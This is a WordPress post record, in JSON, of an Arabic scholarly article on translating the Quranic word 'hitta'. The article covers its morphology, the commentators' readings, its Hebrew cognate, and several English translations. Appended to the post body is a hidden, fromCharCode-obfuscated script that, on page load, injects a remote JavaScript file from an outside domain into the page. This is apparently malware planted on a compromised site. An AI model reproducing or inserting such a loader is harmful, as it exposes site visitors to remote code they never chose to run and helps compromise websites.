\u0642\u0627\u0644\u0648\u0627 (\u062d\u0646\u0637\u0629)\u060c \u0628\u0645\u0627 \u0641\u064a\u0647\u0627 \u0645\u0646 \u0627\u0633\u062a\u0647\u0632\u0627\u0621\u060c \u064a\u0630\u0643\u0631\u0646\u064a \u0628\u0637\u0644\u0627\u0628 \u0627\u0644\u0645\u062f\u0627\u0631\u0633 \u0627\u0644\u0645\u0631\u0627\u0647\u0642\u064a\u0646 \u0639\u0646\u062f\u0645\u0627 \u0643\u0627\u0646\u0648\u0627 \u064a\u0642\u0648\u0644\u0648\u0646 \u0641\u064a \u0627\u0644\u0637\u0627\u0628\u0648\u0631 (\u062a\u062d\u064a\u0627 \u0627\u0644\u0641\u0648\u0644 \u0648\u0627\u0644\u0637\u0639\u0645\u064a\u0629) \u0628\u062f\u0644\u0627 \u0645\u0646 (\u062a\u062d\u064a\u0627 \u062c\u0645\u0647\u0648\u0631\u064a\u0629 \u0645\u0635\u0631 \u0627\u0644\u0639\u0631\u0628\u064a\u0629).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0639\u0644\u0645\u0627\u0621 \u0627\u0644\u0635\u0631\u0641 \u064a\u0642\u0648\u0644\u0648\u0646\u0625\u0646\u0647 \u0639\u0646\u062f \u0641\u0643 \u062a\u0634\u062f\u064a\u062f \u062d\u0631\u0641\u064a\u0646 \u0642\u062f \u064a\u062b\u0642\u0644 \u0639\u0644\u0649 \u0627\u0644\u0644\u0633\u0627\u0646 \u0646\u0637\u0642 \u0627\u0644\u062d\u0631\u0641\u064a\u0646 \u0645\u0641\u0635\u0648\u0644\u064a\u0646\u060c \u0641\u064a\u062d\u062f\u062b \u0625\u0628\u062f\u0627\u0644 \u0644\u0623\u062d\u062f\u0647\u0645\u0627 \u0628\u0635\u0648\u062a \u062e\u0641\u064a\u0641 \u0639\u0644\u0649 \u0627\u0644\u0644\u0633\u0627\u0646\u060c \u0645\u062b\u0644\u0627 \u0641\u064a \u0627\u0644\u0644\u0647\u062c\u0627\u062a (\u0625\u062a\u0651\u0627) \u0628\u0627\u0644\u062a\u0634\u062f\u064a\u062f \u0647\u064a \u0646\u0641\u0633\u0647\u0627 (\u0625\u0646\u062a\u0627) \u0625\u0630\u0646 \u0627\u0644\u0623\u0635\u0644 (\u0623\u0646\u062a) \u060c \u0648\u0644\u0645\u0627 \u0623\u062d\u0628\u0648\u0627 \u0627\u0644\u0634\u062f\u064a\u062f \u0623\u0633\u0642\u0637\u0648\u0627 \u0627\u0644\u0646\u0648\u0646. \u0641\u062a\u0643\u0648\u0646 (\u062d\u0637\u0651\u0629) \u0645\u0634\u062f\u062f\u0629 \u0627\u0644\u0648\u0633\u0637 \u0627\u0644\u0623\u0642\u0631\u0628 \u0644\u062d\u0646\u0637\u0629 \u0625\u0630\u0627 \u0641\u0643\u0643\u062a \u0627\u0644\u062a\u0634\u062f\u064a\u062f&#8230; \u0645\u0639 \u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0639\u0644\u0649 \u0623\u0646\u0643 \u0644\u0627 \u062a\u062d\u062a\u0627\u062c \u0644\u0641\u0643\u0647\u060c \u0628\u0644 \u0641\u064a \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0627\u0644\u062a\u0634\u062f\u064a\u062f \u0648\u0636\u0639 \u0644\u0644\u062a\u062e\u0641\u064a\u0641 \u0648 \u0627\u0644\u062a\u0633\u0631\u064a\u0639.<\/p>\n<p style=\"text-align: justify;\">\u062a\u0628\u0642\u0649 \u0645\u0634\u0643\u0644\u062a\u0627\u0646\u060c \u0647\u0644 \u0623\u0645\u0631\u0647\u0645 \u0631\u0628 \u0627\u0644\u0639\u0632\u0629 \u2013 \u0633\u0628\u062d\u0627\u0646\u0647 \u2013 \u0628\u0627\u0644\u062a\u0644\u0641\u0638 \u0628\u0627\u0644\u0643\u0644\u0645\u0629 \u0646\u0641\u0633\u0647\u0627\u060c \u0623\u0645 \u0628\u0643\u0644\u0645\u0629 \u0623\u062e\u0631\u0649 \u0628\u063a\u064a\u0631 \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u061f \u0648\u0647\u0644 \u0623\u0631\u0627\u062f \u0639\u064a\u0646 \u0627\u0644\u0643\u0644\u0645\u0629 \u0623\u0645 \u0623\u0631\u0627\u062f \u0627\u0644\u0647\u064a\u0626\u0629\u061f \u0623\u062e\u062a\u0644\u0641 \u0627\u0644\u0645\u0641\u0633\u0631\u0648\u0646 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0648\u0646. \u0641\u0627\u0644\u0633\u0624\u0627\u0644 \u0627\u0644\u062b\u0627\u0646\u064a\u060c \u0623\u062c\u0627\u0628 \u0639\u0646\u0647 \u0627\u0628\u0646 \u0639\u0627\u0634\u0648\u0631 \u0641\u064a \u0627\u0644\u062a\u0646\u0648\u064a\u0631 \u0648\u0627\u0644\u062a\u062d\u0631\u064a\u0631 \u0628\u0623\u0646\u0647\u0645 \u2013 \u0627\u0644\u064a\u0647\u0648\u062f \u2013 \u0643\u0627\u0646\u0648\u0627 \u064a\u062f\u062e\u0644\u0648\u0646 \u0628\u0644\u062f\u0629 \u0628\u0647\u0627 \u0642\u0648\u0645 \u062c\u0628\u0627\u0631\u0648\u0646\u060c \u0648\u0643\u0627\u0646 \u0645\u0645\u0627 \u064a\u0633\u0627\u0639\u062f\u0647\u0645 \u0639\u0644\u0649 \u0627\u0644\u062f\u062e\u0648\u0644 \u0648\u0627\u0644\u0641\u062a\u062d \u0623\u0646 \u064a\u062a\u0638\u0627\u0647\u0631\u0648\u0627 \u0628\u0627\u0644\u0628\u0624\u0633 \u0648\u0627\u0644\u0634\u062d\u0627\u0630\u0629 \u0648\u0642\u0648\u0644 \u0643\u0644\u0645\u0629 \u0627\u0644\u0634\u062d\u0627\u0630\u064a\u0646 \u0627\u0644\u0645\u0646\u0634\u0631\u0629 \u0648\u0642\u062a\u0647\u0627 (\u062d\u0637\u0629) \u0643\u0645\u0627 \u062a\u0646\u062a\u0634\u0631 \u0643\u0644\u0645\u0629 (\u0644\u0644\u0647) \u0627\u0644\u0622\u0646. \u0641\u0625\u0630\u0627 \u0643\u0627\u0646 \u0647\u0630\u0627 \u0647\u0648 \u0623\u062d\u062f \u0627\u0644\u0645\u0639\u0627\u0646\u064a\u060c \u0641\u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0627\u0644\u0644\u0641\u0638\u0629 \u0630\u0627\u062a\u0647\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0645\u0641\u0633\u0631\u0648\u0646 \u0622\u062e\u0631\u0648\u0646 \u064a\u0631\u0648\u0646 \u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0627\u0644\u0627\u062b\u0646\u064a\u0646 \u0647\u064a\u0626\u0629 \u0627\u0644\u0630\u0644\u0629 \u0648\u0627\u0644\u062e\u0636\u0648\u0639 \u0648\u0627\u0644\u062a\u0648\u0628\u0629 \u0645\u0639 \u0646\u0637\u0642 \u0627\u0644\u0644\u0641\u0638\u0629\u060c \u0648\u0647\u0630\u0627 \u0623\u0642\u0631\u0628 \u0644\u062a\u0644\u0628\u0633\u0647\u0645 \u0628\u062d\u0627\u0644\u0629 \u0627\u0644\u062e\u0636\u0648\u0639 \u0644\u0644\u0647. \u0648\u0625\u0646\u0645\u0627 \u0643\u0627\u0646 \u0641\u0636\u0644 \u0627\u0644\u0644\u0647 \u062c\u0627\u0647\u0632\u0627 \u0644\u064a\u0646\u0627\u0644\u0648\u0647 \u0644\u0648 \u0623\u0633\u0631\u0639\u0648\u0627 \u0628\u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0644\u0631\u0628\u0646\u0627 \u0648\u0642\u0627\u0644\u0648\u0627 \u0627\u0644\u0643\u0644\u0645\u0629 \u0628\u0627\u0644\u0647\u064a\u0626\u0629 \u0627\u0644\u0645\u0630\u0643\u0648\u0631\u0629&#8230; \u0648\u0642\u062f \u0648\u0642\u0639 \u0646\u0641\u0633 \u0627\u0644\u0623\u062c\u0631 \u0644\u0644\u0645\u0633\u0644\u0645\u064a\u0646 \u0639\u0646\u062f \u0635\u0644\u062d \u0627\u0644\u062d\u062f\u064a\u0628\u064a\u0629. \u0631\u0648\u0649 \u0639\u0646 \u062c\u0627\u0628\u0631 \u0628\u0646 \u0639\u0628\u062f \u0627\u0644\u0644\u0647 \u0642\u0627\u0644 \u0642\u0627\u0644 \u0631\u0633\u0648\u0644 \u0627\u0644\u0644\u0647 \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0645\u0646 \u064a\u0635\u0639\u062f \u0627\u0644\u062b\u0646\u064a\u0629 \u062b\u0646\u064a\u0629 \u0627\u0644\u0645\u0631\u0627\u0631 \u0641\u0625\u0646\u0647 \u064a\u062d\u0637 \u0639\u0646\u0647 \u0645\u0627 \u062d\u0637 \u0639\u0646 \u0628\u0646\u064a \u0625\u0633\u0631\u0627\u0626\u064a\u0644 \u0642\u0627\u0644 \u0641\u0643\u0627\u0646 \u0623\u0648\u0644 \u0645\u0646 \u0635\u0639\u062f\u0647\u0627 \u062e\u064a\u0644\u0646\u0627 \u062e\u064a\u0644 \u0628\u0646\u064a \u0627\u0644\u062e\u0632\u0631\u062c \u062b\u0645 \u062a\u062a\u0627\u0645 \u0627\u0644\u0646\u0627\u0633 \u0641\u0642\u0627\u0644 \u0631\u0633\u0648\u0644 \u0627\u0644\u0644\u0647 \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0643\u0644\u0643\u0645 \u0645\u063a\u0641\u0648\u0631 \u0644\u0647 \u0625\u0644\u0627 \u0635\u0627\u062d\u0628 \u0627\u0644\u062c\u0645\u0644 \u0627\u0644\u0623\u062d\u0645\u0631 \u2013 \u0648\u0647\u0648 \u0639\u0628\u062f \u0627\u0644\u0644\u0647 \u0628\u0646 \u0623\u0628\u064a \u0628\u0646 \u0633\u0644\u0648\u0644- \u0641\u0623\u062a\u064a\u0646\u0627\u0647 \u0641\u0642\u0644\u0646\u0627 \u0644\u0647 \u062a\u0639\u0627\u0644 \u064a\u0633\u062a\u063a\u0641\u0631 \u0644\u0643 \u0631\u0633\u0648\u0644 \u0627\u0644\u0644\u0647 \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0641\u0642\u0627\u0644 \u0648\u0627\u0644\u0644\u0647 \u0644\u0623\u0646 \u0623\u062c\u062f \u0636\u0627\u0644\u062a\u064a \u0623\u062d\u0628 \u0625\u0644\u064a \u0645\u0646 \u0623\u0646 \u064a\u0633\u062a\u063a\u0641\u0631 \u0644\u064a \u0635\u0627\u062d\u0628\u0643\u0645 .<\/p>\n<p style=\"text-align: justify;\">\u0648\u0647\u0630\u0647 \u0627\u0644\u062b\u0646\u064a\u0629 (\u062b\u0646\u064a\u0629 \u0627\u0644\u0645\u0631\u0627\u0631) \u0645\u0648\u062c\u0648\u062f\u0629 \u062d\u062a\u0649 \u0627\u0644\u064a\u0648\u0645 \u0641\u064a \u0627\u0644\u0637\u0631\u064a\u0642 \u0625\u0644\u0649 \u0645\u0643\u0629\u060c \u0648\u0642\u062f \u0631\u0627\u062c\u0639\u0646\u0627 \u0641\u064a \u0634\u0623\u0646\u0647\u0627 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u0627\u0644\u062b\u0642\u0627\u062a \u0639\u0646 \u0623\u062c\u0631 \u0635\u0639\u0648\u062f \u0627\u0644\u062b\u0646\u064a\u0629 \u0645\u0646 \u0623\u062c\u0644 \u063a\u0641\u0631\u0627\u0646 \u0627\u0644\u0630\u0646\u0648\u0628\u060c \u0641\u0642\u0627\u0644\u0648\u0627 \u0623\u0646 \u0627\u0644\u0623\u0645\u0631 \u0643\u0627\u0646 \u0645\u0648\u062c\u0647\u0627 \u0644\u0644\u0645\u0633\u0644\u0645\u064a\u0646 \u0641\u064a \u0630\u0644\u0643 \u0627\u0644\u0645\u0648\u0642\u0641 \u0641\u0642\u0637\u060c \u0648\u0643\u0627\u0646 \u0641\u0636\u0644 \u0627\u0644\u0644\u0647 \u0644\u0647\u0645 \u0623\u0646 \u064a\u062d\u0637 \u0639\u0646\u0647\u0645 \u062e\u0637\u0627\u064a\u0627\u0647\u0645 \u0628\u0645\u0627 \u0627\u0645\u062a\u062b\u0644\u0648\u0627 \u0644\u0644\u0623\u0645\u0631\u060c \u0643\u0645\u0627 \u0644\u0645 \u064a\u0645\u062a\u062b\u0644 \u0644\u0647 \u0628\u0646\u0648 \u0625\u0633\u0631\u0627\u0626\u064a\u0644 \u0641\u0641\u0627\u062a\u0647\u0645 \u0627\u0644\u0623\u0645\u0631 \u0648\u062d\u0644\u062a \u0639\u0644\u064a\u0647\u0645 \u0627\u0644\u0644\u0639\u0646\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0639\u0646 \u0623\u0628\u064a \u0633\u0639\u064a\u062f \u0627\u0644\u062e\u062f\u0631\u064a\u060c \u0642\u0627\u0644: \u0633\u0631\u0646\u0627 \u0645\u0639 \u0631\u0633\u0648\u0644 \u0627\u0644\u0644\u0647 \u062d\u062a\u0649 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u0646 \u0622\u062e\u0631 \u0627\u0644\u0644\u064a\u0644\u060c \u0623\u062c\u0632\u0646\u0627 \u0641\u064a \u062b\u0646\u064a\u0629 \u064a\u0642\u0627\u0644 \u0644\u0647\u0627: \u0630\u0627\u062a \u0627\u0644\u062d\u0646\u0638\u0644\u060c \u0641\u0642\u0627\u0644 \u0631\u0633\u0648\u0644 \u0627\u0644\u0644\u0647: &#8221; \u0645\u0627 \u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u0646\u064a\u0629 \u0627\u0644\u0644\u064a\u0644\u0629 \u0625\u0644\u0627 \u0643\u0645\u062b\u0644 \u0627\u0644\u0628\u0627\u0628 \u0627\u0644\u0630\u064a \u0642\u0627\u0644 \u0627\u0644\u0644\u0647 \u0644\u0628\u0646\u064a \u0625\u0633\u0631\u0627\u0626\u064a\u0644: \u0627\u062f\u062e\u0644\u0648\u0627 \u0627\u0644\u0628\u0627\u0628 \u0633\u062c\u062f\u0627\u064b \u0648\u0642\u0648\u0644\u0648\u0627 \u062d\u0637\u0629 \u0646\u063a\u0641\u0631 \u0644\u0643\u0645 \u062e\u0637\u0627\u064a\u0627\u0643\u0645 &#8220;<\/p>\n<p style=\"text-align: justify;\">\u0646\u0631\u062c\u0639 \u0644\u0644\u0633\u0624\u0627\u0644 \u0627\u0644\u0623\u0648\u0644\u060c \u0647\u0644 \u0643\u0627\u0646 \u0627\u0644\u0645\u0637\u0644\u0648\u0628 \u0647\u0648 \u0644\u0641\u0638\u0629 (\u062d\u0637\u0629) \u0628\u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0623\u0645 \u0628\u063a\u064a\u0631\u0647\u0627 \u2013 \u0627\u0644\u0639\u0628\u0631\u064a\u0629 \u0623\u0648 \u0627\u0644\u0633\u0631\u064a\u0627\u0646\u064a\u0629-\u061f \u0631\u063a\u0645 \u0623\u0646\u0646\u0627 \u0644\u0627 \u0646\u0633\u062a\u0637\u064a\u0639 \u062a\u0642\u0631\u064a\u0631 \u0630\u0644\u0643\u060c \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u062c\u0630\u0648\u0631 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648\u0627\u0644\u0639\u0628\u0631\u064a\u0629 \u0648\u0627\u0644\u0633\u0631\u064a\u0627\u0646\u064a\u0629 \u062a\u062c\u062a\u0645\u0639 \u0645\u0639\u0627\u060c \u0644\u0623\u0646 \u0643\u0644\u0647\u0627 \u0645\u0646 \u0639\u0627\u0626\u0644\u0629 \u0627\u0644\u0644\u063a\u0627\u062a \u0627\u0644\u0633\u0627\u0645\u064a\u0629&#8230; \u0648\u0627\u0644\u0639\u0628\u0631\u064a\u0629 \u0627\u0644\u062d\u0627\u0644\u064a\u0629 \u0645\u0627\u0630\u0627 \u062a\u0637\u0644\u0642 \u0639\u0644\u0649 \u0627\u0644\u062d\u0646\u0637\u0629\u061f \u0641\u064a \u0627\u0644\u0639\u0628\u0631\u064a\u0629 \u062a\u0643\u062a\u0628 \u0647\u0643\u0630\u0627 <strong>\u05d7\u05d9\u05d8\u05d4<\/strong> \u0648\u062a\u0646\u0637\u0642 &#8220;\u062e\u064a\u062a\u0627&#8221; \u0623\u0648 &#8220;\u062e\u064a\u0637\u0627&#8221;. \u0644\u0643\u0646 \u0644\u0627\u062d\u0638 \u0643\u0630\u0644\u0643 \u0623\u0646 \u0627\u0644\u064a\u0647\u0648\u062f \u0627\u0644\u0623\u0648\u0631\u0628\u064a\u064a\u0646 \u063a\u064a\u0631 \u0627\u0644\u0633\u0627\u0645\u064a\u064a\u0646 (\u0627\u0644\u0625\u0634\u0643\u0646\u0627\u0632\u064a\u0645) \u0644\u0627 \u064a\u062d\u0633\u0646\u0648\u0646 \u0646\u0637\u0642 \u0635\u0648\u062a\u064a \u0627\u0644\u062d\u0644\u0642 (\u0627\u0644\u062d\u0627\u0621 \u0648\u0627\u0644\u0639\u064a\u0646) \u0641\u0623\u0635\u0628\u062d\u0648\u0627 \u064a\u0646\u0637\u0642\u0648\u0646 \u0627\u0644\u062d\u0627\u0621 \u062e\u0627\u0621. \u0644\u0630\u0644\u0643 \u0645\u0646 \u0627\u0644\u0648\u0627\u0631\u062f \u0628\u0642\u0648\u0629 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0623\u0635\u0644 \u0627\u0644\u0643\u0644\u0645\u0629 \u062a\u0646\u0637\u0642 (\u062d\u064a\u0637\u0627) \u0648\u0628\u0647\u0630\u0627 \u0641\u0647\u064a \u0646\u0633\u062e\u0629 \u0643\u0627\u0645\u0644\u0629 \u0645\u0646 \u0627\u0644\u0644\u0641\u0638\u0629 \u0627\u0644\u0642\u0631\u0622\u0646\u064a\u0629 (\u062d\u0637\u0629)\u060c \u0648\u064a\u0643\u0648\u0646 \u0627\u0644\u0644\u0641\u0638 \u0645\u0642\u0635\u0648\u062f\u0627 \u0644\u0630\u0627\u062a\u0647&#8230;<\/p>\n<p style=\"text-align: justify;\">***<\/p>\n<p style=\"text-align: left;\">\u0627\u0644\u0622\u0646 \u0646\u0623\u062a\u064a \u0625\u0644\u0649 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u064a\u0646 \u0644\u0646\u0631\u0649 \u0643\u064a\u0641 \u062a\u0639\u0627\u0645\u0644\u0648\u0627 \u0645\u0639 \u0644\u0641\u0638\u0629 (\u062d\u0637\u0629)<\/p>\n<p style=\"text-align: left;\">Sahih International: enter the gate bowing humbly and say, &#8216;Relieve us of our burdens.&#8217;<\/p>\n<p style=\"text-align: left;\">Pickthall: enter the gate prostrate, and say: &#8220;Repentance.&#8221;<\/p>\n<p style=\"text-align: left;\">Yusuf Ali: but enter the gate with humility, in posture and in words,<\/p>\n<p style=\"text-align: left;\">Shakir: and enter the gate making obeisance, and say, forgiveness.<\/p>\n<p style=\"text-align: left;\">Muhammad Sarwar: prostrate yourselves and ask forgiveness when passing through the gate,<\/p>\n<p style=\"text-align: left;\">Mohsin Khan: and enter the gate in prostration (or bowing with humility) and say: &#8216;Forgive us,&#8217;<\/p>\n<p style=\"text-align: left;\">Arberry: and enter in at the gate, prostrating, and say, Unburdening.<\/p>\n<p style=\"text-align: justify;\">\u0631\u063a\u0645 \u0623\u0646\u0647\u0645 \u0646\u0641\u0633 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u064a\u0646 \u0627\u0644\u0630\u064a\u0646 \u0627\u062e\u062a\u0644\u0641\u0648\u0627 \u0641\u064a \u062a\u0631\u062c\u0645\u0629 (\u0631\u0627\u0639\u0646\u0627)\u060c \u0647\u0627 \u0647\u0645 \u064a\u062a\u0641\u0642\u0648\u0646 \u2013 \u0643\u0644\u0647\u0645 \u2013 \u0623\u0644\u0627 \u064a\u0630\u0643\u0631\u0648\u0627 \u0644\u0641\u0638\u0629 (\u062d\u0637\u0629) \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u2013 \u0623\u0648 \u0628\u0627\u0644\u0623\u062d\u0631\u0649 \u0627\u0644\u0633\u0627\u0645\u064a\u0629- \u0648\u0625\u0646\u0645\u0627 \u064a\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0625\u0645\u0627 \u062a\u0631\u062c\u0645\u062a\u0647\u0627 \u0628\u0640 <strong>( &#8216;Relieve us of our burdens)\u060c (Repentance)\u060c (&#8216;Forgive us)<\/strong>\u060c \u0623\u0648 \u0627\u0644\u0644\u0641\u0638\u0629 \u0627\u0644\u0625\u0646\u062c\u064a\u0644\u064a\u0629 Unburdening \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0641\u064a \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0645\u0646 \u0627\u0644\u0643\u062a\u0627\u0628 \u0627\u0644\u0645\u0642\u062f\u0633 Bible. \u0648\u0625\u0645\u0627 \u064a\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0645\u0642\u0627\u0635\u062f\u064a\u060c \u0648\u0647\u0648 \u0637\u0644\u0628 \u0627\u0644\u0645\u063a\u0641\u0631\u0629\u060c \u0648\u0647\u064a\u0626\u0629 \u0627\u0644\u0627\u0633\u062a\u062c\u062f\u0627\u0621\u060c \u0628\u062f\u0648\u0646 \u062a\u062d\u062f\u064a\u062f \u0623\u0644\u0641\u0627\u0638\u064d \u064a\u0646\u0637\u0642\u0648\u0646\u0647\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0647\u0645\u0627 \u064a\u0643\u0646 \u0645\u0646 \u0623\u0645\u0631\u060c \u0641\u0627\u0644\u0623\u0645\u0631 \u064a\u062d\u062a\u0627\u062c \u0645\u0632\u064a\u062f\u0623\u064b \u0645\u0646 \u0627\u0644\u0628\u062d\u062b \u0644\u0628\u064a\u0627\u0646 \u0645\u0646\u0627\u0647\u062c \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u064a\u0646 \u0641\u064a \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u0627\u0644\u0642\u0631\u0622\u0646\u064a\u0629 \u0627\u0644\u0641\u0631\u064a\u062f\u0629. \u0648\u0627\u0644\u0644\u0647 \u0623\u0639\u0644\u0645.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u00a0\u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a \u0646\u062a\u0643\u0644\u0645 \u0627\u0644\u0622\u0646 \u0639\u0646 \u0645\u0634\u0643\u0644\u0629 \u062c\u062f\u064a\u062f\u0629 \u0641\u064a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u062f\u064a\u0646\u064a\u0629\u060c \u0648\u0647\u064a \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0623\u0644\u0641\u0627\u0638 \u0628\u0639\u064a\u0646\u0647\u0627 \u0648\u0631\u062f\u062a \u0641\u064a \u0627\u0644\u0642\u0631\u0622\u0646\u060c \u0645\u0646 \u0645\u062b\u0644 \u0645\u0627 \u0648\u0631\u062f \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0643\u0631\u064a\u0645\u0629:\u064a\u064e\u0627 \u0623\u064e\u064a\u0651\u064f\u0647\u064e\u0627 \u0627\u0644\u0651\u064e\u0630\u0650\u064a\u0646\u064e \u0622\u0645\u064e\u0646\u064f\u0648\u0627 \u0644\u064e\u0627 \u062a\u064e\u0642\u064f\u0648\u0644\u064f\u0648\u0627 \u0631\u064e\u0627\u0639\u0650\u0646\u064e\u0627 \u0648\u064e\u0642\u064f\u0648\u0644\u064f\u0648\u0627 \u0627\u0646\u0638\u064f\u0631\u0652\u0646\u064e\u0627 \u0648\u064e\u0627\u0633\u0652\u0645\u064e\u0639\u064f\u0648\u0627 \u06d7 \u0648\u064e\u0644\u0650\u0644\u0652\u0643\u064e\u0627\u0641\u0650\u0631\u0650\u064a\u0646\u064e \u0639\u064e\u0630\u064e\u0627\u0628\u064c \u0623\u064e\u0644\u0650\u064a\u0645\u064c (104) \u0641\u0627\u0644\u0646\u0647\u064a \u0647\u0646\u0627 \u0639\u0646 \u0644\u0641\u0638\u0629 (\u0631\u0627\u0639\u0646\u0627)\u060c \u0648\u0627\u0644\u0623\u0645\u0631 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0644\u0641\u0638\u0629 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/21945"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21945"}],"version-history":[{"count":0,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/21945\/revisions"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}